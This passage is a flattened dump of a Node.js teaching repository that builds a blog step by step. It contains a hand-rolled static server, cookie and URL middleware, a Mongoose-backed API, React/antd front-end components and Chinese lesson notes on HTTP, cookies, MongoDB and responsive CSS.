├── test ├── promise.js ├── tmp ├── index.js ├── ejs │ ├── test.ejs │ └── index.js ├── cookie │ ├── session-cookie.js │ ├── permanent-cookie.js │ ├── index.js │ └── secure_httpOnly-cookie.js ├── mongoose │ ├── index.js │ ├── _index.js │ ├── base.js │ ├── model.js │ └── schema.js ├── http.js ├── css_responsive │ └── index.html └── buffer.js ├── public ├── js │ ├── index │ │ └── index.js │ ├── about │ │ ├── scss │ │ │ └── index.scss │ │ ├── ajax.js │ │ └── index.js │ ├── manage │ │ ├── ajax │ │ │ ├── index.js │ │ │ ├── category.js │ │ │ └── blog.js │ │ ├── util.js │ │ ├── scss │ │ │ └── index.scss │ │ ├── components │ │ │ ├── Dialog.js │ │ │ ├── menu.js │ │ │ ├── write.js │ │ │ ├── category.js │ │ │ └── manage.js │ │ └── index.js │ ├── components │ │ ├── index.js │ │ ├── detail │ │ │ ├── index.scss │ │ │ ├── responsive.scss │ │ │ ├── markdown.scss │ │ │ └── index.js │ │ ├── write │ │ │ ├── ajax.js │ │ │ └── index.js │ │ └── dialog │ │ │ └── index.js │ ├── list │ │ ├── scss │ │ │ └── index.scss │ │ └── index.js │ ├── common │ │ └── index.js │ └── detail │ │ ├── scss │ │ └── index.scss │ │ └── index.js ├── .gitignore ├── dist │ ├── about.css.map │ ├── detail.css.map │ ├── index.js.map │ ├── list.css.map │ ├── manage.css.map │ ├── index.js │ ├── about.css │ ├── detail.css │ ├── manage.css │ └── list.css ├── img │ ├── zhihu.jpeg │ ├── avatar.jpeg │ └── github.jpeg ├── .babelrc ├── build │ ├── alias.js │ ├── webpack.config.js │ └── plugin_loader.js ├── README.md ├── css │ ├── highlight │ │ ├── solarized-dark.scss │ │ ├── dark.scss │ │ └── light.scss │ ├── header_footer │ │ └── index.scss │ └── reset.scss └── package.json ├── .gitignore ├── db.sh ├── doc ├── 2nd-assets │ └── path.png ├── 3rd-assets │ └── url.png ├── 8th_responsive_css │ └── media.md ├── 10th_router_mongo.md ├── 8th_cookie_session │ ├── cookie_headers.md │ └── knowledge.md ├── 9th_mongodb.md ├── 8th_cookie_session.md ├── 6th_ejs.md ├── 12th_react_antd.md ├── 3rd_promise.md ├── 7th_router_css.md ├── 11th_ajax_mongo.md ├── 4th_stream.md ├── 5th_buffer.md ├── 2nd_http_posix.md ├── 1st_npm_node_module_http.md └── 13th_deploy.md ├── app ├── view-server │ ├── ejs │ │ ├── layout.ejs │ │ └── module │ │ │ ├── footer.ejs │ │ │ └── header.ejs │ ├── urlrewrite.js │ └── index.js ├── api │ ├── index.js │ ├── mongo │ │ ├── schema.js │ │ └── index.js │ ├── router │ │ └── index.js │ └── ajax.js ├── cookie-parser │ └── index.js ├── staic-server │ └── index.js ├── url-parser │ └── index.js └── index.js ├── index.js ├── package.json └── README.md /test/promise.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /public/js/index/index.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | 3 | -------------------------------------------------------------------------------- /public/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | 3 | -------------------------------------------------------------------------------- /db.sh: -------------------------------------------------------------------------------- 1 | # !/bin/sh 2 | 3 | 4 | mongod --dbpath ~/data/db 5 | -------------------------------------------------------------------------------- /public/js/about/scss/index.scss: -------------------------------------------------------------------------------- 1 | @import "../../detail/scss/index.scss" -------------------------------------------------------------------------------- /public/js/manage/ajax/index.js: -------------------------------------------------------------------------------- 1 | export * from './blog' 2 | export * from './category' -------------------------------------------------------------------------------- /public/dist/about.css.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":[],"names":[],"mappings":"","file":"about.css","sourceRoot":""} -------------------------------------------------------------------------------- /public/dist/detail.css.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":[],"names":[],"mappings":"","file":"detail.css","sourceRoot":""} -------------------------------------------------------------------------------- /public/dist/index.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":[],"names":[],"mappings":"","file":"index.js","sourceRoot":""} -------------------------------------------------------------------------------- /public/dist/list.css.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":[],"names":[],"mappings":"","file":"list.css","sourceRoot":""} -------------------------------------------------------------------------------- /public/dist/manage.css.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":[],"names":[],"mappings":"","file":"manage.css","sourceRoot":""} -------------------------------------------------------------------------------- /public/img/zhihu.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/slashhuang/pure-node-notebook-step/HEAD/public/img/zhihu.jpeg -------------------------------------------------------------------------------- /doc/2nd-assets/path.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/slashhuang/pure-node-notebook-step/HEAD/doc/2nd-assets/path.png -------------------------------------------------------------------------------- /doc/3rd-assets/url.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/slashhuang/pure-node-notebook-step/HEAD/doc/3rd-assets/url.png -------------------------------------------------------------------------------- /public/img/avatar.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/slashhuang/pure-node-notebook-step/HEAD/public/img/avatar.jpeg -------------------------------------------------------------------------------- /public/img/github.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/slashhuang/pure-node-notebook-step/HEAD/public/img/github.jpeg -------------------------------------------------------------------------------- /public/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": [ 3 | "es2015", 4 | "react", 5 | "stage-0" 6 | ] 7 | } 8 | -------------------------------------------------------------------------------- /public/js/components/index.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | export DetailPanel from './detail/' 5 | export BlogWritePanel from './write/' -------------------------------------------------------------------------------- /test/tmp: -------------------------------------------------------------------------------- 1 | 床前明月光疑是地上霜 2 | 举头望明月低头思故乡 3 | 床前明月光疑是地上霜 4 | 举头望明月低头思故乡 5 | 床前明月光疑是地上霜 6 | 举头望明月低头思故乡 7 | 床前明月光疑是地上霜 8 | 举头望明月低头思故乡 9 | 床前明月光疑是地上霜 10 | 举头望明月低头思故乡 -------------------------------------------------------------------------------- /test/index.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | // require('./buffer') 6 | // require('./http') 7 | 8 | // require('./ejs') 9 | 10 | // require('./cookie'); 11 | 12 | require('./mongoose/'); -------------------------------------------------------------------------------- /test/ejs/test.ejs: -------------------------------------------------------------------------------- 1 | 床前明月光疑是地上霜 2 | 举头望明月低头思故乡 3 | 床前明月光疑是地上霜 4 | 举头望明月低头思故乡 5 | 床前明月光疑是地上霜 6 | 举头望明月低头思故乡 7 | 床前明月光疑是地上霜 8 | 举头望明月低头思故乡 9 | 床前明月光疑是地上霜 10 | 举头望明月低头思故乡 11 | <%-world %> -------------------------------------------------------------------------------- /public/js/manage/util.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 管理后台工具类 3 | */ 4 | 5 | import querystring from 'querystring' 6 | let query = querystring.parse(location.search.substr(1)) 7 | 8 | export { 9 | query 10 | } -------------------------------------------------------------------------------- /public/build/alias.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Created by slashhuang on 17/4/5. 3 | * alias模块 4 | */ 5 | 6 | module.exports = { 7 | reset:'css/reset.scss', 8 | common_lib:'js/common/index.js', 9 | highlight:"highlight" 10 | }; -------------------------------------------------------------------------------- /public/dist/index.js: -------------------------------------------------------------------------------- 1 | webpackJsonp([4],{ 2 | 3 | /***/ 1413: 4 | /***/ (function(module, exports, __webpack_require__) { 5 | 6 | "use strict"; 7 | 8 | 9 | /***/ }) 10 | 11 | },[1413]); 12 | //# sourceMappingURL=index.js.map -------------------------------------------------------------------------------- /test/cookie/session-cookie.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 学习sesssion cookie 3 | */ 4 | 5 | //在chrome里面,必须将浏览器完全关闭session cookie才生效 6 | module.exports =(request,response)=>{ 7 | let sessionCookie = `userId=node;` 8 | response.setHeader('Set-Cookie',sessionCookie); 9 | return request.headers 10 | } -------------------------------------------------------------------------------- /public/js/about/ajax.js: -------------------------------------------------------------------------------- 1 | //网络请求 2 | import axios from 'axios'; 3 | //url形式 localhost:7000/blog?id=111 4 | export const blogAboutApi = (query)=>{ 5 | let api = '/blogDetail.action'//?id=about' 6 | return axios.get(api,query).then((res)=>{ 7 | return res['data'] 8 | }) 9 | }; -------------------------------------------------------------------------------- /app/view-server/ejs/layout.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | <%- include('./module/header') %> 8 |
9 | 10 |
11 |
12 | <%- include('./module/footer') %> 13 | 14 | 15 | -------------------------------------------------------------------------------- /test/mongoose/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * mongoose学习主程序入口 3 | */ 4 | 5 | const mongoose = require('mongoose'); 6 | //设置mongoose的promise 7 | /* 8 | * 参考文档 9 | * http://mongoosejs.com/docs/promises.html 10 | */ 11 | mongoose.Promise = global.Promise; 12 | mongoose.connect('mongodb://localhost/test'); 13 | 14 | // require('./base'); 15 | require('./model') -------------------------------------------------------------------------------- /public/js/list/scss/index.scss: -------------------------------------------------------------------------------- 1 | @import '../../detail/scss/index.scss'; 2 | 3 | .spinner{ 4 | text-align: center; 5 | width: 100%; 6 | padding-top:40px; 7 | font-size:16px; 8 | .ant-spin-dot{ 9 | margin:auto 10 | } 11 | } 12 | 13 | .container{ 14 | .blog-detail{ 15 | margin:20px auto; 16 | padding:1.5em 4%; 17 | } 18 | } -------------------------------------------------------------------------------- /public/js/common/index.js: -------------------------------------------------------------------------------- 1 | import 'antd/dist/antd.css' // or 'antd/dist/antd.less' 2 | import axios from 'axios' 3 | // Add a response interceptor 4 | axios.interceptors.response.use(function (response) { 5 | // Do something with response data 6 | return response['data']; 7 | }, function (error) { 8 | // Do something with response error 9 | alert(`error ${error}`) 10 | }); -------------------------------------------------------------------------------- /test/cookie/permanent-cookie.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 学习permanent cookie 3 | */ 4 | 5 | module.exports =(request,response)=>{ 6 | //GMT UTC 7 | let Expires = `Expires=${(new Date(12121414124124)).toUTCString()}`; 8 | let MaxAge = `Max-Age=5`; 9 | //优先max-age 10 | let sessionCookie = `userId=slashhuang;${Expires}` 11 | response.setHeader('Set-Cookie',sessionCookie); 12 | return request.headers 13 | } -------------------------------------------------------------------------------- /test/mongoose/_index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 索引 3 | * http://mongoosejs.com/docs/guide.html 4 | * https://docs.mongodb.com/manual/indexes/#Indexes-CompoundKeys 5 | */ 6 | const mongoose = require('mongoose') 7 | const moment = require('moment') 8 | const blogSchema = require('./schema')['blogSchema'] 9 | blogSchema.index({ title: 1, date: -1 }); // schema level 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /test/cookie/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 学习cookie知识 3 | */ 4 | 5 | const http = require('http'); 6 | const sessionCookie = require('./session-cookie'); 7 | const permanentCookie = require('./permanent-cookie'); 8 | const httpCookie = require('./secure_httpOnly-cookie'); 9 | http.createServer((req,res)=>{ 10 | let cookieObj = httpCookie(req,res); 11 | res.writeHead(200,'ok'); 12 | res.end(JSON.stringify(cookieObj)) 13 | }).listen(3000) -------------------------------------------------------------------------------- /doc/8th_responsive_css/media.md: -------------------------------------------------------------------------------- 1 | ## 响应式布局初步 2 | 3 | CSS技术选型 4 | 5 | - [media query](https://developer.mozilla.org/en-US/docs/Web/CSS/@media) 6 | 7 | ```css 8 | @media screen 9 | and (min-width: 320px) 10 | and (max-width: 480px){ 11 | background: yellow 12 | 13 | } 14 | 15 | ``` 16 | 17 | - float 流式布局 18 | 19 | 20 | ```css 21 | .clear-fix{ 22 | content:''; 23 | display:block; 24 | clear:both 25 | } 26 | .panel{ 27 | float:left 28 | } 29 | ``` -------------------------------------------------------------------------------- /app/view-server/urlrewrite.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 网站路由 3 | */ 4 | 5 | 6 | // ### 内容排布 7 | 8 | // |-- /: 首页 博客列表 + 个人展示 9 | // | 10 | // |-- /list: 博客列表 博客分类 + 博客列表 11 | // | 12 | // |-- /manage: 管理博客 分两屏 markdown编辑器 + 预览区 13 | // | 14 | // |-- /about/ 关于 自由发挥 15 | // | 16 | // |-- url非法: 重定向到首页 17 | const urlrewriteMap = { 18 | '/':'index', 19 | '/list':"list", 20 | '/manage':'manage', 21 | '/about':'about', 22 | '/blog':'detail' 23 | }; 24 | module.exports=urlrewriteMap 25 | -------------------------------------------------------------------------------- /public/js/manage/ajax/category.js: -------------------------------------------------------------------------------- 1 | //网络请求 2 | import axios from 'axios'; 3 | //分类 4 | const categoryListApi = (category)=>{ 5 | let api = '/categoryList.action' 6 | return axios.get(api).then((res)=>{ 7 | return res['data'] 8 | }) 9 | }; 10 | const categoryApi = (category)=>{ 11 | let api = '/category.action' 12 | return axios.post(api,category).then((res)=>{ 13 | return res['data'] 14 | }) 15 | }; 16 | 17 | export { 18 | categoryApi, 19 | categoryListApi 20 | } -------------------------------------------------------------------------------- /test/cookie/secure_httpOnly-cookie.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 学习httpOnly和secure cookie 3 | */ 4 | 5 | module.exports =(request,response)=>{ 6 | let MaxAge = `Max-Age=5`; 7 | let httpOnly = `HttpOnly` 8 | let secure = `Secure` 9 | //优先max-age 10 | let sessionCookie = [ 11 | `userId=slashhuang`, 12 | MaxAge, 13 | httpOnly, 14 | // http ==> https 15 | //在非https或者SSL协议下,导致cookie不再生效 16 | // secure 17 | ].join(';') 18 | response.setHeader('Set-Cookie',sessionCookie); 19 | return request.headers 20 | } -------------------------------------------------------------------------------- /public/README.md: -------------------------------------------------------------------------------- 1 | ## 博客静态资源前端 2 | 3 | 请配合以下两个项目之一使用 4 | 5 | 1. [pure-node-notebook](https://github.com/slashhuang/pure-node-notebook) 6 | 7 | 2. [pure-node-notebook](https://github.com/slashhuang/pure-node-notebook) 8 | 9 | ## 安装依赖 10 | 11 | ```bash 12 | 13 | yarn config set registry https://registry.npm.taobao.org 14 | yarn install 15 | 16 | ``` 17 | 18 | ## 项目结构 19 | 20 | ```bash 21 | 22 | |- index 首页 23 | |- write 写博客 24 | |- list 博客列表页 25 | |- about 关于作者 26 | |- detail 博客详情页面 27 | 28 | ``` -------------------------------------------------------------------------------- /doc/10th_router_mongo.md: -------------------------------------------------------------------------------- 1 | ### 第十课 学习mongodb 2 | 3 | 4 | ### 内容概要 5 | 6 | 工程化的一些东西 submodule 7 | 8 | 1. 完善url-parser对query参数的处理 9 | 10 | 2. 嵌入路由API模块 11 | 12 | 3. 增加mongoose数据存储 13 | 14 | 4. 讲解前端react架构 15 | 16 | #### 参考文档 17 | 18 | 1. [mongoose](http://mongoosejs.com/docs/index.html) 19 | 20 | 2. [mongo shell](https://docs.mongodb.com/manual/reference/mongo-shell/) 21 | 22 | 3. [git子模块](https://git-scm.com/book/zh/v1/Git-%E5%B7%A5%E5%85%B7-%E5%AD%90%E6%A8%A1%E5%9D%97) 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /doc/8th_cookie_session/cookie_headers.md: -------------------------------------------------------------------------------- 1 | ## set-cookie指令 2 | 3 | ## 指令集合 4 | 5 | - Expires 6 | 7 | UTC or GMT时间格式 8 | 由于部分浏览器的session_restore机制,session cookie有可能会 ==》 permanent cookie 9 | 10 | - Max-Age 11 | 12 | 以秒为单位的缓存过期时间,相比Expires具有更高的优先级 13 | 14 | - Domain 15 | 16 | 域名 17 | 18 | - Path 19 | 20 | 路径 21 | 22 | - Secure 23 | 24 | - HttpOnly 25 | 26 | 27 | 28 | ### 参考资料 29 | [set-cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie) 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /doc/9th_mongodb.md: -------------------------------------------------------------------------------- 1 | ## 第九课 学习mongodb 2 | 3 | 4 | ### 内容概要 5 | ------------------------------------------------ 6 | 7 | #### 设计功能范围 8 | 9 | 学习mongodb 10 | 11 | 配套资料在另一个项目(mongo-panda)(https://github.com/slashhuang/mongo-panda) 12 | 13 | 14 | 15 | nosql 16 | 17 | key/value 18 | 19 | ===> mongodb 20 | ===> redis 21 | 22 | db ==> collection 23 | ==> document ==> 数据 schema 24 | 25 | 26 | 关系型数据库 27 | 28 | table二维表的形式 29 | 30 | ===>mysql 31 | 32 | db ===> table二维表的形式 33 | ===> row ==> field 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /public/js/manage/scss/index.scss: -------------------------------------------------------------------------------- 1 | .menu-left{ 2 | position:absolute; 3 | left:0; 4 | top:0; 5 | } 6 | .container{ 7 | position:relative; 8 | } 9 | .content{ 10 | margin-left:240px; 11 | padding:20px; 12 | } 13 | .mark-content{ 14 | width:100%; 15 | height:400px !important; 16 | border-radius:5px; 17 | border:1px solid gray; 18 | } 19 | .mark-content-preview{ 20 | width:100%; 21 | border-radius:5px; 22 | border:1px solid gray; 23 | min-height:400px !important; 24 | } 25 | .markdown{ 26 | margin-top:20px; 27 | background:#fff; 28 | } 29 | .submit-btn{ 30 | margin-top:20px; 31 | } 32 | .title{ 33 | font-size:18px; 34 | border-bottom:1px solid gray 35 | } -------------------------------------------------------------------------------- /app/view-server/ejs/module/footer.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 26 | -------------------------------------------------------------------------------- /public/js/components/detail/index.scss: -------------------------------------------------------------------------------- 1 | 2 | @import "./markdown.scss"; 3 | 4 | @import "./responsive.scss"; 5 | 6 | $d:#ddd; 7 | .blog-content{ 8 | padding: 1em 0; 9 | border-bottom:1px solid $d 10 | } 11 | .blog-head{ 12 | border-bottom:1px solid $d; 13 | } 14 | .blog-author{ 15 | text-align: right; 16 | .date{ 17 | font-size:0.8em 18 | } 19 | .author{ 20 | font-size:0.8em; 21 | margin-left:0.4em; 22 | } 23 | } 24 | .blog-title{ 25 | position: relative; 26 | .edit{ 27 | position:absolute; 28 | right:1em; 29 | bottom:0; 30 | font-size:0.6em; 31 | color:gray; 32 | text-decoration: underline 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /app/api/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author slashhuang 3 | * @Date 17/4/29 4 | * api middleware 5 | */ 6 | 7 | const router = require('./ajax') 8 | 9 | module.exports=(ctx)=>{ 10 | let { resCtx,reqCtx } = ctx; 11 | let { pathname } = reqCtx; 12 | if(!pathname.match(/\.action/)){ 13 | //let it pass 14 | return Promise.resolve() 15 | } 16 | // request ==> handler 17 | return router.routes(ctx).then(val=>{ 18 | if(val){ 19 | resCtx.statusCode=200 20 | resCtx.headers = Object.assign(resCtx.headers,{ 21 | "Content-Type":"application/json"}) 22 | resCtx.body = JSON.stringify(val); 23 | } 24 | }).catch(err=>{ 25 | resCtx.statusCode=400 26 | resCtx.body =`${err.name} + ${err.stack}`; 27 | }) 28 | } 29 | -------------------------------------------------------------------------------- /app/api/mongo/schema.js: -------------------------------------------------------------------------------- 1 | /* 2 | * mongodb schema for blog 3 | * @Author slashhuang 4 | * 17/4/25 5 | */ 6 | 7 | //The Mongoose [Schema](#schema_Schema) constructor 8 | const {Schema} = require('mongoose') 9 | 10 | // schema + model 11 | const categorySchema = new Schema({ 12 | name: String, 13 | id:String 14 | }); 15 | 16 | const blogSchema = new Schema({ 17 | title: String, 18 | content:String, 19 | rawContent:String, 20 | //http://mongoosejs.com/docs/schematypes.html 21 | category:categorySchema, 22 | date: String 23 | },{ 24 | _id:false, //===>_id为false 告诉mongoose 25 | //http://mongoosejs.com/docs/guide.html#strict 26 | strict: false 27 | }); 28 | 29 | module.exports = { 30 | blogSchema, 31 | categorySchema 32 | } 33 | -------------------------------------------------------------------------------- /public/css/highlight/solarized-dark.scss: -------------------------------------------------------------------------------- 1 | .hljs{display:block;overflow-x:auto;padding:0.5em;background:#002b36;color:#839496}.hljs-comment,.hljs-quote{color:#586e75}.hljs-keyword,.hljs-selector-tag,.hljs-addition{color:#859900}.hljs-number,.hljs-string,.hljs-meta .hljs-meta-string,.hljs-literal,.hljs-doctag,.hljs-regexp{color:#2aa198}.hljs-title,.hljs-section,.hljs-name,.hljs-selector-id,.hljs-selector-class{color:#268bd2}.hljs-attribute,.hljs-attr,.hljs-variable,.hljs-template-variable,.hljs-class .hljs-title,.hljs-type{color:#b58900}.hljs-symbol,.hljs-bullet,.hljs-subst,.hljs-meta,.hljs-meta .hljs-keyword,.hljs-selector-attr,.hljs-selector-pseudo,.hljs-link{color:#cb4b16}.hljs-built_in,.hljs-deletion{color:#dc322f}.hljs-formula{background:#073642}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:bold} -------------------------------------------------------------------------------- /public/js/detail/scss/index.scss: -------------------------------------------------------------------------------- 1 | $s-screen:480px; //适配移动端 2 | $m-screen:700px; //适配ipad 3 | $b-screen:800px; //适配PC 4 | .blog-detail,.widgets{ 5 | float:left; 6 | background:#fff; 7 | } 8 | .blog-detail{ 9 | padding:1.5em 4%; 10 | } 11 | 12 | @media screen and (min-width:$b-screen){ 13 | $l:70%; 14 | .blog-detail{ 15 | width:$l 16 | } 17 | .widgets{ 18 | width: 100-$l 19 | } 20 | } 21 | @media screen and (min-width:$m-screen) and (max-width: $b-screen){ 22 | $l:60%; 23 | .blog-detail{ 24 | width:$l 25 | } 26 | .widgets{ 27 | width: 100-$l 28 | } 29 | } 30 | @media screen and (max-width: $m-screen){ 31 | $l:100%; 32 | .blog-detail{ 33 | width:$l 34 | } 35 | .widgets{ 36 | width: 100-$l 37 | } 38 | } -------------------------------------------------------------------------------- /public/js/components/write/ajax.js: -------------------------------------------------------------------------------- 1 | //网络请求 2 | import axios from 'axios'; 3 | const categoryListApi = (category)=>{ 4 | let api = '/categoryList.action' 5 | return axios.get(api).then((res)=>{ 6 | return res['data'] 7 | }) 8 | }; 9 | const submitBlogApi = (data)=>{ 10 | let api = '/blog.action' 11 | return axios.post(api,data) 12 | .then((res)=>{ 13 | if(res['status']==-1){ 14 | return { 15 | error:true, 16 | msg:res['data'] 17 | } 18 | }else{ 19 | return res['data'] 20 | } 21 | }) 22 | } 23 | export { 24 | submitBlogApi, 25 | categoryListApi 26 | } 27 | 28 | 29 | -------------------------------------------------------------------------------- /public/js/components/detail/responsive.scss: -------------------------------------------------------------------------------- 1 | $s-screen:480px; //适配移动端 2 | $m-screen:700px; //适配ipad 3 | $b-screen:800px; //适配PC 4 | .blog-detail,.widgets{ 5 | float:left; 6 | background:#fff; 7 | } 8 | .blog-detail{ 9 | padding:1.5em 4%; 10 | } 11 | 12 | @media screen and (min-width:$b-screen){ 13 | $l:70%; 14 | .blog-detail{ 15 | width:$l 16 | } 17 | .widgets{ 18 | width: 100-$l 19 | } 20 | } 21 | @media screen and (min-width:$m-screen) and (max-width: $b-screen){ 22 | $l:60%; 23 | .blog-detail{ 24 | width:$l 25 | } 26 | .widgets{ 27 | width: 100-$l 28 | } 29 | } 30 | @media screen and (max-width: $m-screen){ 31 | $l:100%; 32 | .blog-detail{ 33 | width:$l 34 | } 35 | .widgets{ 36 | width: 100-$l 37 | } 38 | } -------------------------------------------------------------------------------- /app/api/router/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 创建路由模块 3 | * @slashhuang 4 | * 17/4/26 5 | */ 6 | class Router{ 7 | constructor(){ 8 | this.routerMap={ 9 | 'get':{}, 10 | "post":{} 11 | } 12 | } 13 | get(pathname,handler){ 14 | let getMap = this.routerMap.get 15 | getMap[pathname] = handler 16 | } 17 | post(pathname,handler){ 18 | let postMap = this.routerMap.post 19 | postMap[pathname] = handler 20 | } 21 | //对接request responsectx 22 | routes(ctx){ 23 | let {pathname,method} = ctx.reqCtx; 24 | if(method=='get' || method=='post'){ 25 | let handler = this.routerMap[method][pathname] 26 | if(handler){ 27 | return Promise.resolve(handler(ctx)) 28 | }else{ 29 | return Promise.resolve() 30 | } 31 | }else{ 32 | return Promise.resolve() 33 | } 34 | } 35 | } 36 | module.exports = new Router() 37 | 38 | -------------------------------------------------------------------------------- /public/js/components/dialog/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 提交成功对话框 3 | * @Author slashhuang 4 | * 17/4/25 5 | */ 6 | import React ,{ Component } from 'react'; 7 | import { Modal, Button } from 'antd'; 8 | export default 9 | class Dialog extends React.Component { 10 | state = { 11 | visible: false, 12 | id:'' 13 | } 14 | handleState= (boolean=false,id) => { 15 | this.setState({ 16 | visible: boolean, 17 | id:id 18 | }); 19 | } 20 | render() { 21 | let { id } = this.state 22 | return ( 23 | this.handleState(false)} 26 | onCancel={()=>this.handleState(false)}> 27 |

查看提交的博客

28 |
29 | ); 30 | } 31 | } 32 | 33 | 34 | -------------------------------------------------------------------------------- /public/js/manage/components/Dialog.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 提交成功对话框 3 | * @Author slashhuang 4 | * 17/4/25 5 | */ 6 | import React ,{ Component } from 'react'; 7 | import { Modal, Button } from 'antd'; 8 | export default 9 | class App extends React.Component { 10 | state = { 11 | visible: false, 12 | id:'' 13 | } 14 | handleState= (boolean=false,id) => { 15 | this.setState({ 16 | visible: boolean, 17 | id:id 18 | }); 19 | } 20 | render() { 21 | let { id } = this.state 22 | return ( 23 | this.handleState(false)} 26 | onCancel={()=>this.handleState(false)}> 27 |

查看提交的博客

28 |
29 | ); 30 | } 31 | } 32 | 33 | 34 | -------------------------------------------------------------------------------- /app/cookie-parser/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 处理cookie 3 | */ 4 | const cookie_parser = require('cookie'); 5 | //设置白名单 6 | const whiteNameList=['/slashhuang']; 7 | module.exports = (ctx)=>{ 8 | let { pathname } = ctx.reqCtx; 9 | let { cookie } = ctx.req.headers; 10 | let { resCtx,res } = ctx; 11 | let cookieObj = cookie_parser.parse(cookie||''); 12 | return Promise.resolve({ 13 | then:(resolve,reject)=>{ 14 | let cookieStr =time=>`authd=hello;Max-Age=${time}`; 15 | 16 | if(cookieObj['authd']){ 17 | resCtx.hasUser = true; 18 | res.setHeader('Set-Cookie',cookieStr(3600)) 19 | } 20 | //设置白名单 21 | const whiteNameList=['/slashhuang']; 22 | //登录 23 | if(whiteNameList.indexOf(pathname)>-1){ 24 | res.setHeader('Set-Cookie',cookieStr(3600)) 25 | }; 26 | //登出 27 | if(pathname=='/logout'){ 28 | res.setHeader('Set-Cookie',cookieStr(0)) 29 | } 30 | resolve() 31 | } 32 | }) 33 | } 34 | -------------------------------------------------------------------------------- /doc/8th_cookie_session.md: -------------------------------------------------------------------------------- 1 | ## 第七课 规划博客路由和markdown学习 2 | 3 | 4 | #### 第七课作业小结 5 | 6 | > 提交网址 https://jscode.me/t/node/1034 7 | 8 | - 知识回顾 9 | 10 | 1. 理解路由设计及重定向原理 11 | 12 | 2. 理解页面header+body+footer的分块实现 13 | 14 | 3. 了解markdown的背景知识 15 | 16 | 17 | ### 第八课内容概要 18 | ------------------------------------------------ 19 | 20 | #### 设计功能范围 21 | 22 | 1. 设计URL形式的博客登录注册系统 23 | 24 | 2. 增加url-parser中间件处理query的功能 25 | 26 | 3. 设计响应式前端CSS框架 27 | 28 | ### 技术知识点 29 | 30 | 1. cookie + session的实现 31 | 32 | 2. url模块 33 | 34 | 3. 媒体查询之 medea query 35 | 36 | ### 参考资料 37 | [Node官方URL对象说明](https://github.com/nodejs/node/blob/master/doc/api/url.md) 38 | 39 | [MDN cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies) 40 | 41 | [MDN media query](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries) 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /app/staic-server/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author slashhuang 3 | * 静态资源服务 4 | */ 5 | //express框架 app.use(static('public'))绝对路径 6 | //DRY 7 | const path = require('path'); 8 | const fs = require('fs'); 9 | const mime = require('mime'); 10 | let getPath = pathname=>path.resolve(process.cwd(),'public',`.${pathname}`); 11 | let staticFunc = (ctx)=>{ 12 | let { pathname } = ctx.reqCtx; 13 | let { resCtx } = ctx; 14 | return new Promise((resolve,reject)=>{ 15 | if(pathname.match(/\./) && !pathname.match('action')){ 16 | let _path=getPath(pathname); 17 | resCtx.headers = Object.assign(resCtx.headers,{ 18 | 'Content-Type':mime.lookup(_path) 19 | }); 20 | let body = fs.readFile(_path,(err,data)=>{ 21 | if(err){ 22 | resCtx.body = `NOT FOUND${err.stack}` 23 | } 24 | resCtx.body = data; 25 | resolve() 26 | }) 27 | }else{ 28 | resolve() 29 | } 30 | }) 31 | }; 32 | 33 | module.exports = staticFunc 34 | -------------------------------------------------------------------------------- /app/url-parser/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * url-parser 3 | * 处理客户端数据 4 | */ 5 | 6 | 7 | // request: query + body + method 8 | 9 | const Url = require('url') 10 | 11 | module.exports = (ctx)=>{ 12 | //原型链readable stream eventEmitter 13 | let { method,url } = ctx.req; 14 | let { reqCtx } = ctx; 15 | /* reqCtx 16 | query 对象 17 | pathname路径名 18 | index.html?a=1 ==> query:{a:1} 19 | */ 20 | method = 